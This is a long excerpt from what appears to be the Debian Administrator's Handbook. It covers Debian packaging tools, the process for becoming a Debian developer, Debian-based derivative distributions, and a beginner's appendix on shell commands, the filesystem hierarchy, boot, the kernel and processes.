This is another important tool: it automates the installation, upgrade, removal and purge of a package (in an isolated environment), and checks that none of these operations leads to an error. It can help in detecting missing dependencies, and it also detects when files are incorrectly left over after the package got purged.
The devscripts package contains many programs helping with a wide array of a Debian developer's job:
debian/changelog
file in a source package. debian/watch
file with a description of the location of such releases. .changes
file. *.dsc
and *.changes
files. Debhelper is a set of scripts easing the creation of policy-compliant packages; these scripts are invoked from debian/rules
. Debhelper has been widely adopted within Debian, as evidenced by the fact that it is used by the majority of official Debian packages. All the commands it contains have a dh_ prefix.
The dh_make script (in the dh-make package) creates files required for generating a Debian package in a directory initially containing the sources for a piece of software. As can be guessed from the name of the program, the generated files use debhelper by default.
The dupload and dput commands allow uploading a Debian package to a (possibly remote) server. This allows developers to publish their package on the main Debian server (ftp-master.debian.org
) so that it can be integrated to the archive and distributed by mirrors. These commands take a *.changes
file as a parameter, and deduce the other relevant files from its contents.
Becoming a “Debian developer” is not a simple administrative matter. The process comprises several steps, and is as much an initiation as it is a selection process. In any case, it is formalized and well-documented, so anyone can track their progression on the website dedicated to the new member process.
EXTRA Lightweight process for “Debian Maintainers”
“Debian Maintainer” is another status that gives less privileges than “Debian developer” but whose associated process is quicker. With this status, the contributors can maintain their own packages only. A Debian developer only needs to perform a check on an initial upload, and issue a statement to the effect that they trust the prospective maintainer with the ability to maintain the package on their own.
All candidates are expected to have at least a working knowledge of the English language. This is required at all levels: for the initial communications with the examiner, of course, but also later, since English is the preferred language for most of the documentation; also, package users will be communicating in English when reporting bugs, and they will expect replies in English.
The other prerequisite deals with motivation. Becoming a Debian developer is a process that only makes sense if the candidate knows that their interest in Debian will last for many months. The acceptance process itself may last for several months, and Debian needs developers for the long haul; each package needs permanent maintenance, and not just an initial upload.
The first (real) step consists in finding a sponsor or advocate; this means an official developer willing to state that they believe that accepting X would be a good thing for Debian. This usually implies that the candidate has already been active within the community, and that their work has been appreciated. If the candidate is shy and their work is not publicly touted, they can try to convince a Debian developer to advocate them by showing their work in a private way.
At the same time, the candidate must generate a public/private RSA key pair with GnuPG, which should be signed by at least two official Debian developers. The signature authenticates the name on the key. Effectively, during a key signing party, each participant must show an official identification (usually an ID card or passport) together with their key identifiers. This step confirms the link between the human and the keys. This signature thus requires meeting in real life. If you have not yet met any Debian developers in a public free software conference, you can explicitly seek developers living nearby using the list on the following webpage as a starting point.
Once the registration on nm.debian.org
has been validated by the advocate, an Application Manager is assigned to the candidate. The application manager will then drive the process through multiple pre-defined steps and checks.
The first verification is an identity check. If you already have a key signed by two Debian developers, this step is easy; otherwise, the application manager will try and guide you in your search for Debian developers close by to organize a meet-up and a key signing.
These administrative formalities are followed by philosophical considerations. The point is to make sure that the candidate understands and accepts the social contract and the principles behind Free Software. Joining Debian is only possible if one shares the values that unite the current developers, as expressed in the founding texts (and summarized in Cap. 1, The Debian Project).
In addition, each candidate wishing to join the Debian ranks is expected to know the workings of the project, and how to interact appropriately to solve the problems they will doubtless encounter as time passes. All of this information is generally documented in manuals targeting the new maintainers, and in the Debian developer's reference. An attentive reading of this document should be enough to answer the examiner's questions. If the answers are not satisfactory, the candidate will be informed. They will then have to read (again) the relevant documentation before trying again. In the cases where the existing documentation does not contain the appropriate answer for the question, the candidate can usually reach an answer with some practical experience within Debian, or potentially by discussing with other Debian developers. This mechanism ensures that candidates get involved somewhat in Debian before becoming a full part of it. It is a deliberate policy, by which candidates who eventually join the project are integrated as another piece of an infinitely extensible jigsaw puzzle.
This step is usually known as the Philosophy & Procedures (P&P for short) in the lingo of the developers involved in the new member process.
Each application to become an official Debian developer must be justified. Becoming a project member requires showing that this status is legitimate, and that it facilitates the candidate's job in helping Debian. The most common justification is that being granted Debian developer status eases maintenance of a Debian package, but it is not the only one. Some developers join the project to contribute to porting to a specific architecture, others want to improve documentation, and so on.
This step represents the opportunity for the candidate to state what they intend to do within the Debian project and to show what they have already done towards that end. Debian is a pragmatic project and saying something is not enough, if the actions do not match what is announced. Generally, when the intended role within the project is related to package maintenance, a first version of the prospective package will have to be validated technically and uploaded to the Debian servers by a sponsor among the existing Debian developers.
COMMUNITY Sponsoring
Debian developers can “sponsor” packages prepared by someone else, meaning that they publish them in the official Debian repositories after having performed a careful review. This mechanism enables external persons, who have not yet gone through the new member process, to contribute occasionally to the project. At the same time, it ensures that all packages included in Debian have always been checked by an official member.
Finally, the examiner checks the candidate's technical (packaging) skills with a detailed questionnaire. Bad answers are not permitted, but the answer time is not limited. All the documentation is available and several tries are allowed if the first answers are not satisfactory. This step does not intend to discriminate, but to ensure at least a modicum of knowledge common to new contributors.
This step is known as the Tasks & Skills step (T&S for short) in the examiners' jargon.
At the very last step, the whole process is reviewed by a DAM (Debian Account Manager). The DAM will review all the information about the candidate that the examiner collected, and makes the decision on whether or not to create an account on the Debian servers. In cases where extra information is required, the account creation may be delayed. Refusals are rather rare if the examiner does a good job of following the process, but they sometimes happen. They are never permanent, and the candidate is free to try again at a later time.
The DAM's decision is authoritative and (almost) without appeal, which explains why the people in that seat have often been criticized in the past.
The story of Falcot Corp ends with this last chapter; but Debian lives on, and the future will certainly bring many interesting surprises.
Weeks (or months) before a new version of Debian is released, the Release Manager picks the codename for the next version. Now that Debian version 8 is out, the developers are already busy working on the next version, codenamed Stretch…
There is no official list of planned changes, and Debian never makes promises relating to technical goals of the coming versions. However, a few development trends can already be noted, and we can try some bets on what might happen (or not).
In order to improve security and trust, most if not all the packages will be made to build reproducibly; that is to say, it will be possible to rebuild byte-for-byte identical binary packages from the source packages, thus allowing everyone to verify that no tampering has happened during the builds.
In a related theme, a lot of effort will have gone into improving security by default, and mitigating both “traditional” attacks and the new threats implied by mass surveillance.
Of course, all the main software suites will have had a major release. The latest version of the various desktops will bring better usability and new features. Wayland, the new display server that is being developed to replace X11 with a more modern alternative, will be available (although maybe not default) for at least some desktop environments.
A new feature of the archive maintenance software, “bikesheds”, will allow developers to host special-purpose package repositories in addition to the main repositories; this will allow for personal package repositories, repositories for software not ready to go into the main archive, repositories for software that has only a very small audience, temporary repositories for testing new ideas, and so on.
In addition to these internal developments, one can reasonably expect new Debian-based distributions to come to light, as many tools keep making this task easier. New specialized subprojects will also be started, in order to widen Debian's reach to new horizons.
The Debian user community will increase, and new contributors will join the project… including, maybe, you!
The Debian project is stronger than ever, and well on its way towards its goal of a universal distribution; the inside joke within the Debian community is about World Domination.
In spite of its old age and its respectable size, Debian keeps on growing in all kinds of (sometimes unexpected) directions. Contributors are teeming with ideas, and discussions on development mailing lists, even when they look like bickerings, keep increasing the momentum. Debian is sometimes compared to a black hole, of such density that any new free software project is attracted.
Beyond the apparent satisfaction of most Debian users, a deep trend is becoming more and more indisputable: people are increasingly realising that collaborating, rather than working alone in their corner, leads to better results for everyone. Such is the rationale used by distributions merging into Debian by way of subprojects.
The Debian project is therefore not threatened by extinction…
We would like this book to evolve in the spirit of free software. We therefore welcome contributions, remarks, suggestions, and criticism. Please direct them to Raphaël (<hertzog@debian.org>
) or Roland (<lolando@debian.org>
). For actionable feedback, feel free to open bug reports against the debian-handbook
Debian package. The website will be used to gather all information relevant to its evolution, and you will find there information on how to contribute, in particular if you want to translate this book to make it available to an even larger public than today.
We tried to integrate most of what our experience at Debian taught us, so that anyone can use this distribution and take the best advantage of it as soon as possible. We hope this book contributes to making Debian less confusing and more popular, and we welcome publicity around it!
We would like to conclude on a personal note. Writing (and translating) this book took a considerable amount of time out of our usual professional activity. Since we are both freelance consultants, any new source of income grants us the freedom to spend more time improving Debian; we hope this book to be successful and to contribute to this. In the meantime, feel free to retain our services!
See you soon!
Many Linux distributions are derivatives of Debian and reuse Debian's package management tools. They all have their own interesting properties, and it is possible one of them will fulfill your needs better than Debian itself.
The Debian project fully acknowledges the importance of derivative distributions and actively supports collaboration between all involved parties. This usually involves merging back the improvements initially developed by derivative distributions so that everyone can benefit and long-term maintenance work is reduced.
This explains why derivative distributions are invited to become involved in discussions on the debian-derivatives@lists.debian.org
mailing-list, and to participate in the derivative census. This census aims at collecting information on work happening in a derivative so that official Debian maintainers can better track the state of their package in Debian variants.
Let us now briefly describe the most interesting and popular derivative distributions.
Ubuntu made quite a splash when it came on the Free Software scene, and for good reason: Canonical Ltd., the company that created this distribution, started by hiring thirty-odd Debian developers and publicly stating the far-reaching objective of providing a distribution for the general public with a new release twice a year. They also committed to maintaining each version for a year and a half.
These objectives necessarily involve a reduction in scope; Ubuntu focuses on a smaller number of packages than Debian, and relies primarily on the GNOME desktop (although an official Ubuntu derivative, called “Kubuntu”, relies on KDE). Everything is internationalized and made available in a great many languages.
So far, Ubuntu has managed to keep this release rhythm. They also publish Long Term Support (LTS) releases, with a 5-year maintenance promise. As of April 2015, the current LTS version is version 14.04, nicknamed Utopic Unicorn. The last non-LTS version is version 15.04, nicknamed Vivid Vervet. Version numbers describe the release date: 15.04, for example, was released in April 2015.
IN PRACTICE Ubuntu's support and maintenance promise
Canonical has adjusted multiple times the rules governing the length of the period during which a given release is maintained. Canonical, as a company, promises to provide security updates to all the software available in the
main
andrestricted
sections of the Ubuntu archive, for 5 years for LTS releases and for 9 months for non-LTS releases. Everything else (available in theuniverse
andmultiverse
) is maintained on a best-effort basis by volunteers of the MOTU team (Masters Of The Universe). Be prepared to handle security support yourself if you rely on packages of the latter sections.
Ubuntu has reached a wide audience in the general public. Millions of users were impressed by its ease of installation, and the work that went into making the desktop simpler to use.
Ubuntu and Debian used to have a tense relationship; Debian developers who had placed great hopes in Ubuntu contributing directly to Debian were disappointed by the difference between the Canonical marketing, which implied Ubuntu were good citizens in the Free Software world, and the actual practice where they simply made public the changes they applied to Debian packages. Things have been getting better over the years, and Ubuntu has now made it general practice to forward patches to the most appropriate place (although this only applies to external software they package and not to the Ubuntu-specific software such as Mir or Unity).
Linux Mint is a (partly) community-maintained distribution, supported by donations and advertisements. Their flagship product is based on Ubuntu, but they also provide a “Linux Mint Debian Edition” variant that evolves continuously (as it is based on Debian Testing). In both cases, the initial installation involves booting a LiveDVD.
The distribution aims at simplifying access to advanced technologies, and provides specific graphical user interfaces on top of the usual software. For instance, Linux Mint relies on Cinnamon instead of GNOME by default (but it also includes MATE as well as KDE and Xfce); similarly, the package management interface, although based on APT, provides a specific interface with an evaluation of the risk from each package update.
Linux Mint includes a large amount of proprietary software to improve the experience of users who might need those. For example: Adobe Flash and multimedia codecs.
The Knoppix distribution barely needs an introduction. It was the first popular distribution to provide a LiveCD; in other words, a bootable CD-ROM that runs a turn-key Linux system with no requirement for a hard-disk — any system already installed on the machine will be left untouched. Automatic detection of available devices allows this distribution to work in most hardware configurations. The CD-ROM includes almost 2 GB of (compressed) software, and the DVD-ROM version has even more.
Combining this CD-ROM to a USB stick allows carrying your files with you, and to work on any computer without leaving a trace — remember that the distribution doesn't use the hard-disk at all. Knoppix uses LXDE (a lightweight graphical desktop) by default, but the DVD version also includes GNOME and KDE. Many other distributions provide other combinations of desktops and software. This is, in part, made possible thanks to the live-build Debian package that makes it relatively easy to create a LiveCD.
Note that Knoppix also provides an installer: you can first try the distribution as a LiveCD, then install it on a hard-disk to get better performance.
These community-based distributions track the changes in Debian Sid (Unstable) — hence their name. The modifications are limited in scope: the goal is to provide the most recent software and to update drivers for the most recent hardware, while still allowing users to switch back to the official Debian distribution at any time. Aptosid was previously known as Sidux, and Siduction is a more recent fork of Aptosid.
Grml is a LiveCD with many tools for system administrators, dealing with installation, deployment, and system rescue. The LiveCD is provided in two flavors, full
and small
, both available for 32-bit and 64-bit PCs. Obviously, the two flavors differ by the amount of software included and by the resulting size.
Tails (The Amnesic Incognito Live System) aims at providing a live system that preserves anonymity and privacy. It takes great care in not leaving any trace on the computer it runs on, and uses the Tor network to connect to the Internet in the most anonymous way possible.
Kali Linux is a Debian-based distribution specialising in penetration testing (“pentesting” for short). It provides software that helps auditing the security of an existing network or computer while it is live, and analyze it after an attack (which is known as “computer forensics”).
Devuan is a relatively new fork of Debian: it started in 2014 as a reaction to the decision made by Debian to switch to systemd as the default init system. A group of users attached to sysv and opposing (real or perceived) drawbacks to systemd started Devuan with the objective of maintaining a systemd-less system. As of March 2015, they haven't published any real release: it remains to be seen if the project will succeed and find its niche, or if the systemd opponents will learn to accept it.
Tanglu is another Debian derivative; this one is based on a mix of Debian Testing and Unstable, with patches to some packages. Its goal is to provide a modern desktop-friendly distribution based on fresh software, without the release constraints of Debian.
DoudouLinux targets young children (starting from 2 years old). To achieve this goal, it provides an heavily customized graphical interface (based on LXDE) and comes with many games and educative applications. Internet access is filtered to prevent children from visiting problematic websites. Advertisements are blocked. The goal is that parents should be free to let their children use their computer once booted into DoudouLinux. And children should love using DoudouLinux, just like they enjoy their gaming console.
Raspbian is a rebuild of Debian optimised for the popular (and inexpensive) Raspberry Pi family of single-board computers. The hardware for that platform is more powerful than what the Debian armel architecture can take advantage of, but lacks some features that would be required for armhf; so Raspbian is a kind of intermediary, rebuilt specifically for that hardware and including patches targeting this computer only.
The Distrowatch website references a huge number of Linux distributions, many of which are based on Debian. Browsing this site is a great way to get a sense of the diversity in the Free Software world.
The search form can help track down a distribution based on its ancestry. In March 2015, selecting Debian led to 131 active distributions!
Even though this book primarily targets administrators and “power-users”, we wouldn't like to exclude motivated beginners. This appendix will therefore be a crash-course describing the fundamental concepts involved in handling a Unix computer.
In the Unix world, every administrator has to use the command line sooner or later; for example, when the system fails to start properly and only provides a command-line rescue mode. Being able to handle such an interface, therefore, is a basic survival skill for these circumstances.
QUICK LOOK Starting the command interpreter
A command-line environment can be run from the graphical desktop, by an application known as a “terminal”. In GNOME, you can start it from the “Activities” overview (that you get when you move the mouse in the top-left corner of the screen) by typing the first letters of the application name. In KDE, you will find it in the K → Applications → System menu.
This section only gives a quick peek at the commands. They all have many options not described here, so please refer to the abundant documentation in their respective manual pages.
Once a session is open, the pwd command (which stands for print working directory) displays the current location in the filesystem. The current directory is changed with the cd directory
command (cd is for change directory). The parent directory is always called ..
(two dots), whereas the current directory is also known as .
(one dot). The ls command allows listing the contents of a directory. If no parameters are given, it operates on the current directory.
$
pwd
/home/rhertzog
$
cd Desktop
$
pwd
/home/rhertzog/Desktop
$
cd .
$
pwd
/home/rhertzog/Desktop
$
cd ..
$
pwd
/home/rhertzog
$
ls
Desktop Downloads Pictures Templates
Documents Music Public Videos
A new directory can be created with mkdir directory
, and an existing (empty) directory can be removed with rmdir directory
. The mv command allows moving and/or renaming files and directories; removing a file is achieved with rm file
.
$
mkdir test
$
ls
Desktop Downloads Pictures Templates Videos
Documents Music Public test
$
mv test new
$
ls
Desktop Downloads new Public Videos
Documents Music Pictures Templates
$
rmdir new
$
ls
Desktop Downloads Pictures Templates Videos
Documents Music Public
The cat file
command (intended to concatenate files to the standard output device) reads a file and displays its contents on the terminal. If the file is too big to fit on a screen, use a pager such as less (or more) to display it page by page.
The editor command starts a text editor (such as vi or nano) and allows creating, modifying and reading text files. The simplest files can sometimes be created directly from the command interpreter thanks to redirection: echo "text
" >file
creates a file named file
with “text
” as its contents. Adding a line at the end of this file is possible too, with a command such as echo "moretext
" >>file
. Note the >>
in this example.
The find directory
criteria
command looks for files in the hierarchy under directory
according to several criteria. The most commonly used criterion is -name
: that allows looking for a file by its name. name
The grep expression
files
command searches the contents of the files and extracts the lines matching the regular expression (see sidebar BACK TO BASICS Regular expression). Adding the -r
option enables a recursive search on all files contained in the directory passed as a parameter. This allows looking for a file when only a part of the contents are known.
The ps aux command lists the processes currently running and helps identifying them by showing their pid (process id). Once the pid of a process is known, the kill -signal
pid
command allows sending it a signal (if the process belongs to the current user). Several signals exist; most commonly used are TERM
(a request to terminate gracefully) and KILL
(a forced kill).
The command interpreter can also run programs in the background if the command is followed by a “&”. By using the ampersand, the user resumes control of the shell immediately even though the command is still running (hidden from the user; as a background process). The jobs command lists the processes running in the background; running fg %job-number
(for foreground) restores a job to the foreground. When a command is running in the foreground (either because it was started normally, or brought back to the foreground with fg), the Control+Z key combination pauses the process and resumes control of the command-line. The process can then be restarted in the background with bg %job-number
(for background).
The free command displays information on memory; df (disk free) reports on the available disk space on each of the disks mounted in the filesystem. Its -h
option (for human readable) converts the sizes into a more legible unit (usually mebibytes or gibibytes). In a similar fashion, the free command supports the -m
and -g
options, and displays its data either in mebibytes or in gibibytes, respectively.
$
free
total used free shared buffers cached
Mem: 1028420 1009624 18796 0 47404 391804
-/+ buffers/cache: 570416 458004
Swap: 2771172 404588 2366584
$
df
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/sda2 9614084 4737916 4387796 52% /
tmpfs 514208 0 514208 0% /lib/init/rw
udev 10240 100 10140 1% /dev
tmpfs 514208 269136 245072 53% /dev/shm
/dev/sda5 44552904 36315896 7784380 83% /home
The id command displays the identity of the user running the session, along with the list of groups they belong to. Since access to some files or devices may be limited to group members, checking available group membership may be useful.
$
id
uid=1000(rhertzog) gid=1000(rhertzog) groups=1000(rhertzog),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(scanner)
A Debian system is organized along the Filesystem Hierarchy Standard (FHS). This standard defines the purpose of each directory. For instance, the top-level directories are described as follows:
/bin/
: basic programs; /boot/
: Linux kernel and other files required for its early boot process; /dev/
: device files; /etc/
: configuration files; /home/
: user's personal files; /lib/
: basic libraries; /media/*
: mount points for removable devices (CD-ROM, USB keys and so on); /mnt/
: temporary mount point; /opt/
: extra applications provided by third parties; /root/
: administrator's (root's) personal files; /run/
: volatile runtime data that does not persist across reboots (not yet included in the FHS); /sbin/
: system programs; /srv/
: data used by servers hosted on this system; /tmp/
: temporary files; this directory is often emptied at boot; /usr/
: applications; this directory is further subdivided into bin
, sbin
, lib
(according to the same logic as in the root directory). Furthermore, /usr/share/
contains architecture-independent data. /usr/local/
is meant to be used by the administrator for installing applications manually without overwriting files handled by the packaging system (dpkg). /var/
: variable data handled by daemons. This includes log files, queues, spools, caches and so on. /proc/
and /sys/
are specific to the Linux kernel (and not part of the FHS). They are used by the kernel for exporting data to user space (see Secțiune B.3.4, „The User Space” and Secțiune B.5, „The User Space” for explanations about this concept). The contents of a user's home directory is not standardized, but there are still a few noteworthy conventions. One is that a user's home directory is often referred to by a tilde (“~”). That is useful to know because command interpreters automatically replace a tilde with the correct directory (usually /home/
). user
/
Traditionally, application configuration files are often stored directly under the user's home directory, but their names usually start with a dot (for instance, the mutt email client stores its configuration in ~/.muttrc
). Note that filenames that start with a dot are hidden by default; and ls only lists them when the -a
option is used, and graphical file managers need to be told to display hidden files.
Some programs also use multiple configuration files organized in one directory (for instance, ~/.ssh/
). Some applications (such as the Iceweasel web browser) also use their directory to store a cache of downloaded data. This means that those directories can end up using a lot of disk space.
These configuration files stored directly in a user's home directory, often collectively referred to as dotfiles, have long proliferated to the point that these directories can be quite cluttered with them. Fortunately, an effort led collectively under the FreeDesktop.org umbrella has resulted in the “XDG Base Directory Specification”, a convention that aims at cleaning up these files and directory. This specification states that configuration files should be stored under ~/.config
, cache files under ~/.cache
, and application data files under ~/.local
(or subdirectories thereof). This convention is slowly gaining traction, and several applications (especially graphical ones) have started following it.
Graphical desktops usually display the contents of the ~/Desktop/
directory (or whatever the appropriate translation is for systems not configured in English) on the desktop (ie, what is visible on screen once all applications are closed or iconized).
Finally, the email system sometimes stores incoming emails into a ~/Mail/
directory.
A computer is often considered as something rather abstract, and the externally visible interface is much simpler than its internal complexity. Such complexity comes in part from the number of pieces involved. However, these pieces can be viewed in layers, where a layer only interacts with those immediately above or below.
An end-user can get by without knowing these details… as long as everything works. When confronting a problem such as, “The internet doesn't work!”, the first thing to do is to identify in which layer the problem originates. Is the network card (hardware) working? Is it recognized by the computer? Does the Linux kernel see it? Are the network parameters properly configured? All these questions isolate an appropriate layer and focus on a potential source of the problem.
Let us start with a basic reminder that a computer is, first and foremost, a set of hardware elements. There is generally a main board (known as the motherboard), with one (or more) processor(s), some RAM, device controllers, and extension slots for option boards (for other device controllers). Most noteworthy among these controllers are IDE (Parallel ATA), SCSI and Serial ATA, for connecting to storage devices such as hard disks. Other controllers include USB, which is able to host a great variety of devices (ranging from webcams to thermometers, from keyboards to home automation systems) and IEEE 1394 (Firewire). These controllers often allow connecting several devices so the complete subsystem handled by a controller is therefore usually known as a “bus”. Option boards include graphics cards (into which monitor screens will be plugged), sound cards, network interface cards, and so on. Some main boards are pre-built with these features, and don't need option boards.
IN PRACTICE Checking that the hardware works
Checking that a piece of hardware works can be tricky. On the other hand, proving that it doesn't work is sometimes quite simple.
A hard disk drive is made of spinning platters and moving magnetic heads. When a hard disk is powered up, the platter motor makes a characteristic whir. It also dissipates energy as heat. Consequently, a hard disk drive that stays cold and silent when powered up is broken.
Network cards often include LEDs displaying the state of the link. If a cable is plugged in and leads to a working network hub or switch, at least one LED will be on. If no LED lights up, either the card itself, the network device, or the cable between them, is faulty. The next step is therefore testing each component individually.
Some option boards — especially 3D video cards — include cooling devices, such as heat sinks and/or fans. If the fan does not spin even though the card is powered up, a plausible explanation is the card overheated. This also applies to the main processor(s) located on the main board.
Hardware, on its own, is unable to perform useful tasks without a corresponding piece of software driving it. Controlling and interacting with the hardware is the purpose of the operating system and applications. These, in turn, require functional hardware to run.
This symbiosis between hardware and software does not happen on its own. When the computer is first powered up, some initial setup is required. This role is assumed by the BIOS or UEFI, a piece of software embedded into the main board that runs automatically upon power-up. Its primary task is searching for software it can hand over control to. Usually, in the BIOS case, this involves looking for the first hard disk with a boot sector (also known as the master boot record or MBR), loading that boot sector, and running it. From then on, the BIOS is usually not involved (until the next boot). In the case of UEFI, the process involves scanning disks to find a dedicated EFI partition containing further EFI applications to execute.
TOOL Setup, the BIOS/UEFI configuration tool
The BIOS/UEFI also contains a piece of software called Setup, designed to allow configuring aspects of the computer. In particular, it allows choosing which boot device is preferred (for instance, the floppy disk or CD-ROM drive), setting the system clock, and so on. Starting Setup usually involves pressing a key very soon after the computer is powered on. This key is often Del or Esc, sometimes F2 or F10. Most of the time, the choice is flashed on screen while booting.
The boot sector (or the EFI partition), in turn, contains another piece of software, called the bootloader, whose purpose is to find and run an operating system. Since this bootloader is not embedded in the main board but loaded from disk, it can be smarter than the BIOS, which explains why the BIOS does not load the operating system by itself. For instance, the bootloader (often GRUB on Linux systems) can list the available operating systems and ask the user to choose one. Usually, a time-out and default choice is provided. Sometimes the user can also choose to add parameters to pass to the kernel, and so on. Eventually, a kernel is found, loaded into memory, and executed.
NOTE UEFI, a modern replacement to the BIOS
UEFI is a relatively recent development. Most new computers will support UEFI booting, but usually they also support BIOS booting alongside for backwards compatibility with operating systems that are not ready to exploit UEFI.
This new system gets rid of some of the limitations of BIOS booting: with the usage of a dedicated partition, the bootloaders no longer need special tricks to fit in a tiny master boot record and then discover the kernel to boot. Even better, with a suitably built Linux kernel, UEFI can directly boot the kernel without any intermediary bootloader. UEFI is also the basic foundation used to deliver Secure Boot, a technology ensuring that you run only software validated by your operating system vendor.
The BIOS/UEFI is also in charge of detecting and initializing a number of devices. Obviously, this includes the IDE/SATA devices (usually hard disk(s) and CD/DVD-ROM drives), but also PCI devices. Detected devices are often listed on screen during the boot process. If this list goes by too fast, use the Pause key to freeze it for long enough to read. Installed PCI devices that don't appear are a bad omen. At worst, the device is faulty. At best, it is merely incompatible with the current version of the BIOS or main board. PCI specifications evolve, and old main boards are not guaranteed to handle newer PCI devices.
Both the BIOS/UEFI and the bootloader only run for a few seconds each; now we are getting to the first piece of software that runs for a longer time, the operating system kernel. This kernel assumes the role of a conductor in an orchestra, and ensures coordination between hardware and software. This role involves several tasks including: driving hardware, managing processes, users and permissions, the filesystem, and so on. The kernel provides a common base to all other programs on the system.
Although everything that happens outside of the kernel can be lumped together under “user space”, we can still separate it into software layers. However, their interactions are more complex than before, and the classifications may not be as simple. An application commonly uses libraries, which in turn involve the kernel, but the communications can also involve other programs, or even many libraries calling each other.
The kernel is, first and foremost, tasked with controlling the hardware parts, detecting them, switching them on when the computer is powered on, and so on. It also makes them available to higher-level software with a simplified programming interface, so applications can take advantage of devices without having to worry about details such as which extension slot the option board is plugged into. The programming interface also provides an abstraction layer; this allows video-conferencing software, for example, to use a webcam independently of its make and model. The software can just use the Video for Linux (V4L) interface, and the kernel translates the function calls of this interface into the actual hardware commands needed by the specific webcam in use.
The kernel exports many details about detected hardware through the /proc/
and /sys/
virtual filesystems. Several tools summarize those details. Among them, lspci (in the pciutils package) lists PCI devices, lsusb (in the usbutils package) lists USB devices, and lspcmcia (in the pcmciautils package) lists PCMCIA cards. These tools are very useful for identifying the exact model of a device. This identification also allows more precise searches on the web, which in turn, lead to more relevant documents.
Exemplu B.1. Example of information provided by lspci and lsusb
$
lspci
[...]
00:02.1 Display controller: Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller (rev 03)
00:1c.0 PCI bridge: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) PCI Express Port 1 (rev 03)
00:1d.0 USB Controller: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #1 (rev 03)
[...]
01:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5751 Gigabit Ethernet PCI Express (rev 01)
02:03.0 Network controller: Intel Corporation PRO/Wireless 2200BG Network Connection (rev 05)
$
lsusb
Bus 005 Device 004: ID 413c:a005 Dell Computer Corp.
Bus 005 Device 008: ID 413c:9001 Dell Computer Corp.
Bus 005 Device 007: ID 045e:00dd Microsoft Corp.
Bus 005 Device 006: ID 046d:c03d Logitech, Inc.
[...]
Bus 002 Device 004: ID 413c:8103 Dell Computer Corp. Wireless 350 Bluetooth
These programs have a -v
option, that lists much more detailed (but usually not necessary) information. Finally, the lsdev command (in the procinfo package) lists communication resources used by devices.
Applications often access devices by way of special files created within /dev/
(see sidebar BACK TO BASICS Device access permissions). These are special files that represent disk drives (for instance, /dev/hda
and /dev/sdc
), partitions (/dev/hda1
or /dev/sdc3
), mice (/dev/input/mouse0
), keyboards (/dev/input/event0
), soundcards (/dev/snd/*
), serial ports (/dev/ttyS*
), and so on.
Filesystems are one of the most prominent aspects of the kernel. Unix systems merge all the file stores into a single hierarchy, which allows users (and applications) to access data simply by knowing its location within that hierarchy.
The starting point of this hierarchical tree is called the root, /
. This directory can contain named subdirectories. For instance, the home
subdirectory of /
is called /home/
. This subdirectory can, in turn, contain other subdirectories, and so on. Each directory can also contain files, where the actual data will be stored. Thus, the /home/rmas/Desktop/hello.txt
name refers to a file named hello.txt
stored in the Desktop
subdirectory of the rmas
subdirectory of the home
directory present in the root. The kernel translates between this naming system and the actual, physical storage on a disk.
Unlike other systems, there is only one such hierarchy, and it can integrate data from several disks. One of these disks is used as the root, and the others are “mounted” on directories in the hierarchy (the Unix command is called mount); these other disks are then available under these “mount points”. This allows storing users' home directories (traditionally stored within /home/
) on a second hard disk, which will contain the rhertzog
and rmas
directories. Once the disk is mounted on /home/
, these directories become accessible at their usual locations, and paths such as /home/rmas/Desktop/hello.txt
keep working.
There are many filesystem formats, corresponding to many ways of physically storing data on disks. The most widely known are ext2, ext3 and ext4, but others exist. For instance, vfat is the system that was historically used by DOS and Windows operating systems, which allows using hard disks under Debian as well as under Windows. In any case, a filesystem must be prepared on a disk before it can be mounted and this operation is known as “formatting”. Commands such as mkfs.ext3 (where mkfs stands for MaKe FileSystem) handle formatting. These commands require, as a parameter, a device file representing the partition to be formatted (for instance, /dev/sda1
). This operation is destructive and should only be run once, except if one deliberately wishes to wipe a filesystem and start afresh.
There are also network filesystems, such as NFS, where data is not stored on a local disk. Instead, data is transmitted through the network to a server that stores and retrieves them on demand. The filesystem abstraction shields users from having to care: files remain accessible in their usual hierarchical way.
Since a number of the same functions are used by all software, it makes sense to centralize them in the kernel. For instance, shared filesystem handling allows any application to simply open a file by name, without needing to worry where the file is stored physically. The file can be stored in several different slices on a hard disk, or split across several hard disks, or even stored on a remote file server. Shared communication functions are used by applications to exchange data independently of the way the data is transported. For instance, transport could be over any combination of local or wireless networks, or over a telephone landline.
A process is a running instance of a program. This requires memory to store both the program itself and its operating data. The kernel is in charge of creating and tracking them. When a program runs, the kernel first sets aside some memory, then loads the executable code from the filesystem into it, and then starts the code running. It keeps information about this process, the most visible of which is an identification number known as pid (process identifier).
Unix-like kernels (including Linux), like most other modern operating systems, are capable of “multi-tasking”. In other words, they allow running many processes “at the same time”. There is actually only one running process at any one time, but the kernel cuts time into small slices and runs each process in turn. Since these time slices are very short (in the millisecond range), they create the illusion of processes running in parallel, although they are actually only active during some time intervals and idle the rest of the time. The kernel's job is to adjust its scheduling mechanisms to keep that illusion, while maximizing the global system performance. If the time slices are too long, the application may not appear as responsive as desired. Too short, and the system loses time switching tasks too frequently. These decisions can be tweaked with process priorities. High-priority processes will run for longer and with more frequent time slices than low-priority processes.
NOTE Multi-processor systems (and variants)
The limitation described above of only one process being able to run at a time, doesn't always apply. The actual restriction is that there can only be one running process per processor core at a time. Multi-processor, multi-core or “hyper-threaded” systems allow several processes to run in parallel. The same time-slicing system is still used, though, so as to handle cases where there are more active processes than available processor cores. This is far from unusual: a basic system, even a mostly idle one, almost always has tens of running processes.
Of course, the kernel allows running several independent instances of the same program. But each can only access its own time slices and memory. Their data thus remain independent.
Unix-like systems are also multi-user. They provide a rights management system that supports separate users and groups; it also allows control over actions based on permissions. The kernel manages data for each process, allowing it to control permissions. Most of the time, a process is identified by the user who started it. That process is only permitted to take those actions available to its owner. For instance, trying to open a file requires the kernel to check the process identity against access permissions (for more details on this particular example, see Secțiune 9.3, „Managing Rights”).
“User space” refers to the runtime environment of normal (as opposed to kernel) processes. This does not necessarily mean these processes are actually started by users because a standard system normally has several “daemon” (or background) processes running before the user even opens a session. Daemon processes are also considered user-space processes.
When the kernel gets past its initialization phase, it starts the very first process, init. Process #1 alone is very rarely useful by itself, and Unix-like systems run with many additional processes.
